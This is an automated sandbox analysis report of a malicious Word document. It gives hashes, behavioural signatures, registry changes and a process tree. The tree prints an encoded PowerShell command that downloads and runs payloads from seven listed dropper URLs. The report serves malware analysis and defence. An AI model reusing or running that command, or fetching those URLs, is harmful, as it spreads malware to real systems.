524f6d1744c625d4ee827ab1ee1406f5aeef8c8799b8cf6474c2a53014a1dfad

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-09-2024 06:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

eac96e5c93d88ec7f3d8ee2726a10297_JaffaCakes118.doc
Size

187KB
MD5

eac96e5c93d88ec7f3d8ee2726a10297
SHA1

63bfef8f50f95ba914036cbf5f8d462c35b84213
SHA256

524f6d1744c625d4ee827ab1ee1406f5aeef8c8799b8cf6474c2a53014a1dfad
SHA512

1e18f3de7b71b67bc97ab77851bac825b890ca567858f3e063ebc3471741e2ff5ae9517a8de32b5685ca2f13e4d6da50c8be04ab04c9a51fc3d499516076915a
SSDEEP

1536:RGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xilATmd8YkYeT/EA8sap8cjufajng:vrfrzOH98ipgPh5iYz

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://dtyl.shop/wp-content/W68Nx/

exe.dropper

https://star-speed.vip/wp-admin/U2jRIg/

exe.dropper

https://cshub123.cn/wp-admin/Gajs/

exe.dropper

https://viettellogistics.com.vn/wp-content/oS4/

exe.dropper

http://cococat.se/wp-admin/2Oaf/

exe.dropper

http://andresirjan.ir/wp-admin/JSH/

exe.dropper

https://sptrade.com.br/wp-includes/iFZOvL/

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	2624	powershell.exe
7	2624	powershell.exe
11	2624	powershell.exe
12	2624	powershell.exe
15	2624	powershell.exe
17	2624	powershell.exe
18	2624	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AAEF6DDA-4CAD-481B-BC18-6B729A600883}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2664	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2664	WINWORD.EXE
2664	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2912	2664	WINWORD.EXE	35
PID 2664 wrote to memory of 2912	2664	WINWORD.EXE	35
PID 2664 wrote to memory of 2912	2664	WINWORD.EXE	35
PID 2664 wrote to memory of 2912	2664	WINWORD.EXE	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eac96e5c93d88ec7f3d8ee2726a10297_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABDADIAdgBhAGkAagA1AD0AKAAoACcAUAAnACsAJwBjAHUAJwApACsAJwB1ACcAKwAoACcAdAAnACsAJwByAHUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcABSAG8ARgBJAEwARQBcAEgAWQAzAHkAdAAzAGkAXABTADgASwA0ADkAdQBtAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAYABSAEkAdABgAFkAUAByAG8AYABUAG8AYwBvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACwAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFMAawB5AHEANwBoAG0AIAA9ACAAKAAnAFgAMgAnACsAKAAnADgAJwArACcAegAwADMAJwApACsAJwAxAGQAJwApADsAJABZAHQAaAB4AGIAcgBmAD0AKAAoACcATwAnACsAJwBuAGUAJwApACsAKAAnAHcAJwArACcAbQA5ACcAKQArACcAYgAnACkAOwAkAFcAZABhAGkAZAA4ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB3ACcAKwAnAHYATwAnACkAKwAoACcASAB5ADMAJwArACcAeQB0ACcAKQArACgAJwAzAGkAJwArACcAdwB2ACcAKQArACgAJwBPACcAKwAnAFMAOAAnACkAKwAoACcAawA0ACcAKwAnADkAJwApACsAKAAnAHUAbQAnACsAJwB3ACcAKQArACcAdgBPACcAKQAuACIAUgBlAHAATABhAGAAQwBlACIAKAAoACcAdwAnACsAJwB2AE8AJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFMAawB5AHEANwBoAG0AKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABOAGIAcQBpAHkAdABpAD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAGgAeQB4AGcAJwApACsAJwBtACcAKQA7ACQAVwB0ADAAcgBlAGkAcwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAE4AdAA7ACQARQBxAHEAagA1AGgAOQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGQAJwArACcAdAB5ACcAKQArACgAJwBsAC4AcwBoAG8AcAAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQALwBXADYAOAAnACkAKwAoACcATgB4ACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwAnACsAKAAnADoALwAvAHMAJwArACcAdABhAHIAJwArACcALQAnACkAKwAnAHMAJwArACgAJwBwACcAKwAnAGUAZQBkAC4AJwArACcAdgBpACcAKQArACcAcAAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAvAFUAJwArACcAMgAnACsAJwBqAFIASQBnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6ACcAKwAnAC8ALwAnACkAKwAnAGMAJwArACgAJwBzAGgAdQAnACsAJwBiADEAJwApACsAKAAnADIAMwAnACsAJwAuAGMAbgAvACcAKwAnAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAbQBpAG4ALwBHACcAKwAnAGEAJwArACcAagBzACcAKQArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AC8AJwArACcALwAnACkAKwAoACcAdgBpAGUAdAB0AGUAbABsACcAKwAnAG8AJwArACcAZwBpAHMAdABpACcAKQArACcAYwBzACcAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAuAHYAJwApACsAJwBuAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAbgB0ACcAKQArACgAJwAvAG8AUwA0ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBjAGEAJwArACcAdAAuAHMAZQAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvADIAJwArACcATwAnACkAKwAnAGEAJwArACgAJwBmACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBhACcAKQArACgAJwBuAGQAJwArACcAcgAnACkAKwAoACcAZQAnACsAJwBzAGkAJwApACsAKAAnAHIAagBhAG4ALgAnACsAJwBpACcAKQArACgAJwByAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAEoAUwBIACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBzAHAAdAByAGEAZAAnACsAJwBlACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALgBiACcAKwAoACcAcgAvAHcAcAAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACgAJwBsAHUAZABlAHMALwAnACsAJwBpAEYAJwArACcAWgBPAHYATAAnACkAKwAnAC8AJwApAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AZQBrADEAeAB3AHUAPQAoACgAJwBLAHcAJwArACcAXwBlACcAKQArACcAcAAnACsAJwA5AHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpADgAaABuADEAcAAgAGkAbgAgACQARQBxAHEAagA1AGgAOQApAHsAdAByAHkAewAkAFcAdAAwAHIAZQBpAHMALgAiAGQAYABvAHcAYABOAGwATwBhAEQAZgBgAEkAbABFACIAKAAkAFQAaQA4AGgAbgAxAHAALAAgACQAVwBkAGEAaQBkADgANgApADsAJABXADYAcAAxAGoANwBoAD0AKAAoACcASAA1ACcAKwAnADgAZQAnACkAKwAoACcAagByACcAKwAnAGwAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwBkAGEAaQBkADgANgApAC4AIgBMAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADIANwAxADkANAApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABXAGQAYQBpAGQAOAA2ACkAOwAkAEMAZQBoAHkAbABoADkAPQAoACcAVwA1ACcAKwAoACcAYwB1AGQAJwArACcAMAA0ACcAKQApADsAYgByAGUAYQBrADsAJABLADQAMwAzAHgANAB3AD0AKAAoACcAVwBxACcAKwAnADUAJwApACsAJwAxACcAKwAoACcAcAAnACsAJwBtADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAZQBsADQAbQBlAHQAPQAoACgAJwBNACcAKwAnAGkAbwAnACkAKwAnAGMAJwArACgAJwBmACcAKwAnADcAaAAnACkAKQA=
1⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
fb9bf03c9a1611e059688027a690f015

SHA1
d8f5d3cc2e726d43b378b184ff9470ec4f8912c7

SHA256
9435b735a58d0d03560a62622ab8990b1fbb0d545f49b6101e2f8b2e583a4a11

SHA512
ae330538d816f2741dbffd42e7b0418b2202d4df6d6b0f0969c2433e9eb5f8a06e19fad6d85fa03ce4e8921d5dd27a5c3e44e931580567b671fd226c1df423f0

Download Submit
memory/2624-39-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2624-40-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/2664-16-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2664-6-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-33-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-22-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-21-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-18-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-0-0x000000002FF11000-0x000000002FF12000-memory.dmp

Filesize
4KB

Download
memory/2664-15-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-14-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-13-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-12-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-27-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-32-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-31-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-30-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-29-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-28-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-19-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-7-0x0000000005C10000-0x0000000005D10000-memory.dmp

Filesize
1024KB

Download
memory/2664-24-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-25-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-23-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-11-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-10-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-5-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-20-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-2-0x0000000070CFD000-0x0000000070D08000-memory.dmp

Filesize
44KB

Download
memory/2664-9-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-8-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-45-0x0000000070CFD000-0x0000000070D08000-memory.dmp

Filesize
44KB

Download
memory/2664-46-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-47-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-48-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2664-26-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2664-66-0x0000000070CFD000-0x0000000070D08000-memory.dmp

Filesize
44KB

Download